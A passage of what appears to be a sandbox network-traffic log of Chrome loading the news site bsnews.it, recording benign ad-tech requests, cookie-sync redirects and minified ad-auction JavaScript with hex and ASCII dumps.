2024-03-28 08:51:24 UTC	582	OUT	GET / HTTP/1.1 Host: geo.privacymanager.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json Content-Type: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:24 UTC	829	IN	HTTP/1.1 200 OK Content-Type: application/json Content-Length: 30 Connection: close Date: Wed, 27 Mar 2024 17:02:30 GMT x-amzn-RequestId: 197734e6-2d37-47dd-998f-e496616c1538 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type,Authorization,X-Amz-Date,X-Api-Key,X-Amz-Security-Token x-amz-apigw-id: VTGeFGNBjoEED3w= Access-Control-Allow-Methods: DELETE,GET,HEAD,OPTIONS,PATCH,POST,PUT X-Amzn-Trace-Id: Root=1-66045126-62ceeb341b04a7eb3193f9ea;Parent=46f5a212224436de;Sampled=0;lineage=06620786:0 Via: 1.1 03c28758fe0abb70088fb45c6855d854.cloudfront.net (CloudFront), 1.1 d4c915561282ddbdd32f1872279fb546.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD61-P2 X-Cache: Hit from cloudfront X-Amz-Cf-Pop: IAD66-C2 X-Amz-Cf-Id: l0-jtc1ISW4SvX58TX-OHs-CXZQBU5ixd4E2Ujw4rJBnvClqGHExsA== Age: 56934
2024-03-28 08:51:24 UTC	30	IN	Data Raw: 7b 22 63 6f 75 6e 74 72 79 22 3a 22 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 44 43 22 7d Data Ascii: {"country":"US","region":"DC"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
270	192.168.2.4	50055	3.33.220.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:24 UTC	732	OUT	GET /track/cmb/generic?ttd_pid=id0lh84&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://sync.richaudience.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=a109dc60-dc7c-45e5-ab53-e2448a53420f; TDCPM=CAEYBSgCMgsIsoLWn9_D5zwQBTgB
2024-03-28 08:51:24 UTC	566	IN	HTTP/1.1 302 Found Date: Thu, 28 Mar 2024 08:51:24 GMT Content-Length: 333 Connection: close server: Kestrel location: https://sync.richaudience.com/a16582f729b43087fa6353b148f7ea54/?uid=a109dc60-dc7c-45e5-ab53-e2448a53420f&gdpr=0&euconsent=&domain=sync.richaudience.com set-cookie: TDID=a109dc60-dc7c-45e5-ab53-e2448a53420f; expires=Fri, 28 Mar 2025 08:51:24 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAEYBSABKAIyCwiygtaf38PnPBAFOAE.; expires=Fri, 28 Mar 2025 08:51:24 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-03-28 08:51:24 UTC	333	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 79 6e 63 2e 72 69 63 68 61 75 64 69 65 6e 63 65 2e 63 6f 6d 2f 61 31 36 35 38 32 66 37 32 39 62 34 33 30 38 37 66 61 36 33 35 33 62 31 34 38 66 37 65 61 35 34 2f 3f 75 69 64 3d 61 31 30 39 64 63 36 30 2d 64 63 37 63 2d 34 35 65 35 2d 61 62 35 33 2d 65 32 34 34 38 61 35 33 34 32 30 66 26 67 64 70 72 3d 30 26 65 75 63 6f 6e 73 65 6e 74 3d 26 64 6f 6d 61 69 6e 3d 73 79 6e 63 2e 72 69 63 68 61 75 64 69 65 6e 63 65 2e 63 6f 6d 22 3e 68 74 74 70 73 3a 2f 2f 73 79 6e 63 2e 72 69 63 68 61 75 64 69 65 6e 63 65 2e 63 6f 6d 2f 61 31 36 35 38 32 66 37 32 39 62 34 33 30 38 37 66 61 36 33 35 33 62 31 34 38 66 37 65 61 35 34 2f 3f 75 69 64 3d 61 31 30 39 64 63 36 30 2d Data Ascii: Redirecting to: <a href="https://sync.richaudience.com/a16582f729b43087fa6353b148f7ea54/?uid=a109dc60-dc7c-45e5-ab53-e2448a53420f&gdpr=0&euconsent=&domain=sync.richaudience.com">https://sync.richaudience.com/a16582f729b43087fa6353b148f7ea54/?uid=a109dc60-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
271	192.168.2.4	50052	34.98.64.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:24 UTC	940	OUT	GET /w/1.0/cm?cc=1&id=5263ff89-48b7-4624-96e0-06c74faea01d&ph=2eba3060-f578-4886-93a0-d9a2346966ea&gdpr=0&gdpr_consent=&r=https%3A%2F%2Fsync.richaudience.com%2Fa9b03dc9bdef0bcb818e9c4110ca0368%2F%3Fuid%3D HTTP/1.1 Host: us-u.openx.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://sync.richaudience.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=fe628250-ec64-0d68-3371-9efce43e151a\|1711615883
2024-03-28 08:51:24 UTC	622	IN	HTTP/1.1 200 OK Vary: Accept, Accept-Encoding Set-Cookie: i=fe628250-ec64-0d68-3371-9efce43e151a\|1711615883; Version=1; Expires=Fri, 28-Mar-2025 08:51:24 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Set-Cookie: pd=v2\|1711615884\|vMgavPkWgyiK; Version=1; Expires=Fri, 12-Apr-2024 08:51:24 GMT; Max-Age=1296000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Date: Thu, 28 Mar 2024 08:51:24 GMT Content-Type: text/html Content-Length: 996 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:24 UTC	996	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 50 69 78 65 6c 73 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 73 63 72 69 70 74 3e 69 66 28 22 62 72 6f 77 73 69 6e 67 54 6f 70 69 63 73 22 69 6e 20 64 6f 63 75 6d 65 6e 74 26 26 64 6f 63 75 6d 65 6e 74 2e 66 65 61 74 75 72 65 50 6f 6c 69 63 79 2e 61 6c 6c 6f 77 73 46 65 61 74 75 72 65 28 22 62 72 6f 77 73 69 6e 67 2d 74 6f 70 69 63 73 22 29 29 64 6f 63 75 6d 65 6e 74 2e 62 72 6f 77 73 69 6e 67 54 6f 70 69 63 73 28 29 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 79 6e 63 2e 72 69 63 68 61 75 64 69 65 6e 63 65 2e 63 6f 6d 2f 61 39 62 30 33 64 63 39 62 64 65 66 30 62 63 62 38 31 38 65 39 63 34 31 31 30 63 61 30 33 36 38 2f 3f Data Ascii: <html><head><title>Pixels</title></head><body><script>if("browsingTopics"in document&&document.featurePolicy.allowsFeature("browsing-topics"))document.browsingTopics()</script><img src="https://sync.richaudience.com/a9b03dc9bdef0bcb818e9c4110ca0368/?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
272	192.168.2.4	50076	172.67.25.151	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	358	OUT	GET /collector-9d47d92.js HTTP/1.1 Host: cdn.pbstck.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:25 UTC	536	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:25 GMT Content-Type: application/javascript Content-Length: 62075 Connection: close x-amz-id-2: 3dAEEUdJIBkEv7rYLt+4/Jdo8VzgvPVKZdbPWtSbzzGkKPhMAu4e/h0+KTcV++mI5QnzvaWXu+k= x-amz-request-id: X1Y8MKSK6CBFT0K7 Cache-Control: public, max-age=604800, immutable Last-Modified: Wed, 20 Mar 2024 15:52:34 GMT ETag: "67f53a368f4d2ff48d953962b5fd8816" CF-Cache-Status: HIT Age: 60901 Accept-Ranges: bytes Server: cloudflare CF-RAY: 86b660d27f953898-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:25 UTC	833	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 74 2c 69 2c 73 29 7b 72 65 74 75 72 6e 20 6e 65 77 28 69 7c 7c 28 69 3d 50 72 6f 6d 69 73 65 29 29 28 28 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 74 72 79 7b 64 28 73 2e 6e 65 78 74 28 65 29 29 7d 63 61 74 63 68 28 65 29 7b 6f 28 65 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 29 7b 74 72 79 7b 64 28 73 2e 74 68 72 6f 77 28 65 29 29 7d 63 61 74 63 68 28 65 29 7b 6f 28 65 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 64 28 65 29 7b 76 61 72 20 74 3b 65 2e 64 6f 6e 65 3f 6e 28 65 2e 76 61 6c 75 65 29 3a 28 74 3d 65 2e 76 61 6c 75 65 2c 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 69 3f 74 3a 6e 65 77 20 69 28 28 66 Data Ascii: !function(e){"use strict";function t(e,t,i,s){return new(i\|\|(i=Promise))((function(n,o){function a(e){try{d(s.next(e))}catch(e){o(e)}}function r(e){try{d(s.throw(e))}catch(e){o(e)}}function d(e){var t;e.done?n(e.value):(t=e.value,t instanceof i?t:new i((f
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 52 45 41 44 59 22 7d 28 6c 7c 7c 28 6c 3d 7b 7d 29 29 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 55 4e 4e 49 4e 47 3d 22 72 75 6e 6e 69 6e 67 22 2c 65 2e 4e 4f 5f 42 49 44 3d 22 6e 6f 42 69 64 22 2c 65 2e 42 49 44 3d 22 62 69 64 52 65 73 70 6f 6e 73 65 22 2c 65 2e 54 49 4d 45 4f 55 54 3d 22 62 69 64 54 69 6d 65 6f 75 74 22 7d 28 62 7c 7c 28 62 3d 7b 7d 29 29 3b 63 6f 6e 73 74 20 70 3d 65 3d 3e 65 2e 73 74 61 74 65 3d 3d 3d 62 2e 42 49 44 2c 68 3d 65 3d 3e 70 28 65 29 3f 65 2e 62 69 64 52 65 73 70 6f 6e 73 65 49 64 3a 65 2e 62 69 64 49 64 3b 76 61 72 20 6d 2c 76 3b 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 5b 65 2e 4f 4e 5f 44 4f 4e 45 3d 30 5d 3d 22 4f 4e 5f 44 4f 4e 45 22 2c 65 5b 65 2e 4f 4e 5f 53 4d 41 52 54 5f 4d 45 52 47 45 44 3d 31 5d 3d 22 4f Data Ascii: READY"}(l\|\|(l={})),function(e){e.RUNNING="running",e.NO_BID="noBid",e.BID="bidResponse",e.TIMEOUT="bidTimeout"}(b\|\|(b={}));const p=e=>e.state===b.BID,h=e=>p(e)?e.bidResponseId:e.bidId;var m,v;!function(e){e[e.ON_DONE=0]="ON_DONE",e[e.ON_SMART_MERGED=1]="O
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 6f 72 65 43 6f 72 65 42 69 64 52 65 73 70 6f 6e 73 65 73 3d 6e 65 77 20 4d 61 70 2c 74 68 69 73 2e 6d 61 70 70 69 6e 67 41 64 55 6e 69 74 4e 61 6d 65 41 75 63 74 69 6f 6e 73 3d 6e 65 77 20 4d 61 70 2c 74 68 69 73 2e 6d 61 70 70 69 6e 67 41 64 55 6e 69 74 43 6f 64 65 4c 61 73 74 41 75 63 74 69 6f 6e 73 3d 6e 65 77 20 4d 61 70 7d 73 65 74 41 75 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 74 68 69 73 2e 73 74 6f 72 65 41 75 63 74 69 6f 6e 73 2e 73 65 74 28 65 2e 61 75 63 74 69 6f 6e 49 64 2c 65 29 3b 63 6f 6e 73 74 20 69 3d 6e 75 6c 6c 21 3d 3d 28 74 3d 74 68 69 73 2e 6d 61 70 70 69 6e 67 41 64 55 6e 69 74 4e 61 6d 65 41 75 63 74 69 6f 6e 73 2e 67 65 74 28 65 2e 61 64 55 6e 69 74 2e 6e 61 6d 65 29 29 26 26 76 6f 69 64 20 30 21 3d 3d 74 3f 74 3a 5b 5d 3b 69 Data Ascii: oreCoreBidResponses=new Map,this.mappingAdUnitNameAuctions=new Map,this.mappingAdUnitCodeLastAuctions=new Map}setAuction(e){var t;this.storeAuctions.set(e.auctionId,e);const i=null!==(t=this.mappingAdUnitNameAuctions.get(e.adUnit.name))&&void 0!==t?t:[];i
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 6f 6e 45 72 72 6f 72 26 26 74 2e 6f 6e 45 72 72 6f 72 28 65 29 7d 7d 29 29 2c 74 68 69 73 2e 63 68 69 6c 64 72 65 6e 2e 66 6f 72 45 61 63 68 28 28 74 3d 3e 74 2e 6e 65 78 74 28 65 29 29 29 7d 7d 63 6f 6e 73 74 20 6a 3d 65 3d 3e 7b 72 65 74 75 72 6e 5b 28 74 3d 28 5b 74 5d 29 3d 3e 65 2e 74 65 73 74 28 74 29 2c 65 3d 3e 7b 69 66 28 74 28 65 29 29 72 65 74 75 72 6e 20 65 7d 29 2c 28 5b 2c 5b 65 2c 2e 2e 2e 74 5d 5d 29 3d 3e 5b 65 2c 74 5d 5d 3b 76 61 72 20 74 7d 2c 42 3d 5b 5d 2c 4e 3d 6e 65 77 20 55 3b 66 75 6e 63 74 69 6f 6e 20 4f 28 65 2c 74 29 7b 6c 65 74 20 69 3d 30 3b 42 2e 70 75 73 68 28 28 73 3d 3e 7b 69 3e 3d 74 7c 7c 28 69 2b 3d 31 2c 65 28 73 29 29 7d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 56 28 65 29 7b 42 2e 66 6f 72 45 61 63 68 28 28 74 3d 3e 74 Data Ascii: onError&&t.onError(e)}})),this.children.forEach((t=>t.next(e)))}}const j=e=>{return[(t=([t])=>e.test(t),e=>{if(t(e))return e}),([,[e,...t]])=>[e,t]];var t},B=[],N=new U;function O(e,t){let i=0;B.push((s=>{i>=t\|\|(i+=1,e(s))}))}function V(e){B.forEach((t=>t
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 65 5d 3a 74 2e 76 69 64 65 6f 3d 69 2e 6d 65 64 69 61 54 79 70 65 73 2e 76 69 64 65 6f 29 2c 76 6f 69 64 20 30 21 3d 3d 69 2e 6d 65 64 69 61 54 79 70 65 73 2e 62 61 6e 6e 65 72 26 26 28 74 2e 62 61 6e 6e 65 72 3f 28 74 2e 62 61 6e 6e 65 72 2e 73 69 7a 65 73 3d 5b 2e 2e 2e 74 2e 62 61 6e 6e 65 72 2e 73 69 7a 65 73 2c 2e 2e 2e 69 2e 6d 65 64 69 61 54 79 70 65 73 2e 62 61 6e 6e 65 72 2e 73 69 7a 65 73 5d 2c 69 2e 6d 65 64 69 61 54 79 70 65 73 2e 62 61 6e 6e 65 72 2e 73 69 7a 65 43 6f 6e 66 69 67 26 26 28 74 2e 62 61 6e 6e 65 72 2e 73 69 7a 65 43 6f 6e 66 69 67 3d 69 2e 6d 65 64 69 61 54 79 70 65 73 2e 62 61 6e 6e 65 72 2e 73 69 7a 65 43 6f 6e 66 69 67 29 29 3a 74 2e 62 61 6e 6e 65 72 3d 69 2e 6d 65 64 69 61 54 79 70 65 73 2e 62 61 6e 6e 65 72 29 7d 29 29 2c Data Ascii: e]:t.video=i.mediaTypes.video),void 0!==i.mediaTypes.banner&&(t.banner?(t.banner.sizes=[...t.banner.sizes,...i.mediaTypes.banner.sizes],i.mediaTypes.banner.sizeConfig&&(t.banner.sizeConfig=i.mediaTypes.banner.sizeConfig)):t.banner=i.mediaTypes.banner)})),
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 66 28 74 29 72 65 74 75 72 6e 60 73 6c 6f 74 3a 24 7b 74 7d 60 7d 2c 5f 3d 65 3d 3e 7b 63 6f 6e 73 74 20 74 3d 7b 68 61 73 55 73 65 72 49 64 3a 22 6e 6f 74 41 76 61 69 6c 61 62 6c 65 22 2c 75 73 65 72 49 64 50 72 6f 76 69 64 65 72 4c 69 73 74 3a 5b 5d 7d 3b 69 66 28 30 3d 3d 3d 65 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 74 3b 6c 65 74 20 69 3d 21 30 3b 63 6f 6e 73 74 20 73 3d 65 5b 30 5d 2e 62 69 64 73 5b 30 5d 3b 72 65 74 75 72 6e 20 65 2e 66 6f 72 45 61 63 68 28 28 65 3d 3e 7b 65 2e 62 69 64 73 2e 66 6f 72 45 61 63 68 28 28 65 3d 3e 7b 69 66 28 74 2e 75 73 65 72 49 64 50 72 6f 76 69 64 65 72 4c 69 73 74 3d 74 2e 75 73 65 72 49 64 50 72 6f 76 69 64 65 72 4c 69 73 74 2e 63 6f 6e 63 61 74 28 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 2e 75 73 65 72 49 64 Data Ascii: f(t)return`slot:${t}`},_=e=>{const t={hasUserId:"notAvailable",userIdProviderList:[]};if(0===e.length)return t;let i=!0;const s=e[0].bids[0];return e.forEach((e=>{e.bids.forEach((e=>{if(t.userIdProviderList=t.userIdProviderList.concat(Object.keys(e.userId
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 3a 22 6e 6f 74 41 76 61 69 6c 61 62 6c 65 22 7d 3b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 65 29 72 65 74 75 72 6e 20 74 3b 6c 65 74 20 69 3d 21 31 2c 73 3d 21 31 3b 69 66 28 65 2e 61 70 69 56 65 72 73 69 6f 6e 26 26 31 21 3d 3d 65 2e 61 70 69 56 65 72 73 69 6f 6e 29 7b 69 66 28 32 21 3d 3d 65 2e 61 70 69 56 65 72 73 69 6f 6e 29 74 68 72 6f 77 20 65 2e 61 70 69 56 65 72 73 69 6f 6e 3e 32 3f 6e 65 77 20 45 72 72 6f 72 28 60 41 50 49 20 76 65 72 73 69 6f 6e 20 69 73 20 6e 6f 74 20 79 65 74 20 73 75 70 70 6f 72 74 65 64 3a 20 24 7b 65 2e 61 70 69 56 65 72 73 69 6f 6e 7d 60 29 3a 6e 65 77 20 45 72 72 6f 72 28 60 41 6e 20 69 73 73 75 65 20 6f 63 63 75 72 65 64 20 77 68 69 6c 65 20 69 64 65 6e 74 69 66 79 69 6e 67 20 54 43 46 20 76 65 72 73 69 6f 6e 3a 20 24 7b 65 Data Ascii: :"notAvailable"};if(void 0===e)return t;let i=!1,s=!1;if(e.apiVersion&&1!==e.apiVersion){if(2!==e.apiVersion)throw e.apiVersion>2?new Error(`API version is not yet supported: ${e.apiVersion}`):new Error(`An issue occured while identifying TCF version: ${e
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 63 6f 6e 74 65 78 74 3d 65 2e 63 6f 6e 74 65 78 74 7c 7c 7b 7d 2c 65 2e 63 6f 6e 74 65 78 74 2e 70 62 6a 73 3d 7b 73 6f 75 72 63 65 3a 22 70 62 6a 73 3a 68 65 6c 70 65 72 73 22 7d 2c 24 28 65 29 2c 74 7d 7d 2c 48 3d 65 3d 3e 4a 53 4f 4e 2e 70 61 72 73 65 28 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 29 29 3b 66 75 6e 63 74 69 6f 6e 20 51 28 65 2c 74 29 7b 63 6f 6e 73 74 20 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 63 6f 6e 73 74 20 74 3d 65 2e 73 70 6c 69 74 28 22 3f 22 29 5b 31 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 74 29 7b 63 6f 6e 73 74 20 65 3d 74 2e 73 70 6c 69 74 28 22 3d 22 29 3b 72 65 74 75 72 6e 7b 6b 65 79 3a 65 5b 30 5d 2c 76 61 6c 75 65 3a 65 5b 31 5d 7d 7d 72 65 74 75 72 6e 7d 28 65 Data Ascii: atch(e){return e.context=e.context\|\|{},e.context.pbjs={source:"pbjs:helpers"},$(e),t}},H=e=>JSON.parse(JSON.stringify(e));function Q(e,t){const i=function(e){const t=e.split("?")[1];if(void 0!==t){const e=t.split("=");return{key:e[0],value:e[1]}}return}(e
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 30 21 3d 3d 74 2e 70 75 62 61 64 73 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 2e 70 75 62 61 64 73 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 2e 70 75 62 61 64 73 28 29 2e 72 65 66 72 65 73 68 29 72 65 74 75 72 6e 20 74 7d 7d 3b 63 6f 6e 73 74 20 58 3d 65 3d 3e 7b 63 6f 6e 73 74 20 74 3d 28 65 3d 3e 4b 28 65 2e 67 6f 6f 67 6c 65 74 61 67 29 29 28 77 69 6e 64 6f 77 29 3b 64 28 22 5b 70 75 62 73 74 61 63 6b 46 69 6e 64 45 6c 65 6d 65 6e 74 42 79 49 64 5d 20 61 64 55 6e 69 74 20 22 2c 65 29 3b 63 6f 6e 73 74 20 69 3d 59 28 65 2c 74 29 3b 72 65 74 75 72 6e 20 64 28 22 5b 70 75 62 73 74 61 63 6b 46 69 6e 64 45 6c 65 6d 65 6e 74 42 79 49 64 5d 20 73 6c 6f 74 20 22 2c 69 29 2c 69 3f 64 6f 63 75 6d 65 6e 74 Data Ascii: 0!==t.pubads&&"function"==typeof t.pubads){if("function"==typeof t.pubads().refresh)return t}};const X=e=>{const t=(e=>K(e.googletag))(window);d("[pubstackFindElementById] adUnit ",e);const i=Y(e,t);return d("[pubstackFindElementById] slot ",i),i?document
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 64 75 63 65 28 28 28 65 2c 74 29 3d 3e 65 2b 28 22 30 30 22 2b 74 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 29 2e 73 6c 69 63 65 28 2d 32 29 29 2c 22 22 29 7d 2c 6e 65 3d 28 65 2c 2e 2e 2e 74 29 3d 3e 7b 69 66 28 30 3d 3d 3d 74 2e 6c 65 6e 67 74 68 7c 7c 22 22 3d 3d 3d 74 2e 6a 6f 69 6e 28 22 22 29 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 46 61 69 6c 65 64 20 74 6f 20 63 72 65 61 74 65 20 68 61 73 68 22 29 3b 72 65 74 75 72 6e 20 73 65 28 74 2e 6a 6f 69 6e 28 22 22 29 29 2e 73 75 62 73 74 72 28 30 2c 65 29 7d 2c 6f 65 3d 28 2e 2e 2e 65 29 3d 3e 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 65 28 31 34 2c 2e 2e 2e 65 29 7d 63 61 74 63 68 28 65 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 46 61 69 6c 65 64 20 74 6f 20 63 72 65 61 74 65 20 61 Data Ascii: duce(((e,t)=>e+("00"+t.toString(16)).slice(-2)),"")},ne=(e,...t)=>{if(0===t.length\|\|""===t.join(""))throw new Error("Failed to create hash");return se(t.join("")).substr(0,e)},oe=(...e)=>{try{return ne(14,...e)}catch(e){throw new Error("Failed to create a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
273	192.168.2.4	50066	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	356	OUT	GET /v1/trk/adv HTTP/1.1 Host: audience.codesour.tech Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:25 UTC	288	IN	HTTP/1.1 405 Method Not Allowed Allow: POST Cache-Control: must-revalidate,no-cache,no-store Content-Type: application/json Date: Thu, 28 Mar 2024 08:51:25 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close Transfer-Encoding: chunked
2024-03-28 08:51:25 UTC	127	IN	Data Raw: 37 39 0d 0a 7b 22 74 69 6d 65 73 74 61 6d 70 22 3a 22 32 30 32 34 2d 30 33 2d 32 38 54 30 38 3a 35 31 3a 32 35 2e 32 34 34 2b 30 30 3a 30 30 22 2c 22 73 74 61 74 75 73 22 3a 34 30 35 2c 22 65 72 72 6f 72 22 3a 22 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 22 2c 22 70 61 74 68 22 3a 22 2f 76 31 2f 74 72 6b 2f 61 64 76 22 7d 0d 0a Data Ascii: 79{"timestamp":"2024-03-28T08:51:25.244+00:00","status":405,"error":"Method Not Allowed","message":"","path":"/v1/trk/adv"}
2024-03-28 08:51:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
274	192.168.2.4	50062	3.162.128.169	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	395	OUT	GET /cdn/prod/config?src=3627&u=https%3A%2F%2Fbsnews.it HTTP/1.1 Host: c.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:25 UTC	401	IN	HTTP/1.1 200 OK Content-Type: application/json;charset=UTF-8 Content-Length: 943 Connection: close Cache-Control: max-age=21550, s-maxage=21600 Date: Thu, 28 Mar 2024 08:51:24 GMT Server: Server X-Cache: Miss from cloudfront Via: 1.1 18591001335591ffb831001ad8b75762.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD61-P3 X-Amz-Cf-Id: VBj-4txMfAd46o0ELS2YHhy2S6ylEebWxQxHLXkRUV9aBUGkV7UgaQ==
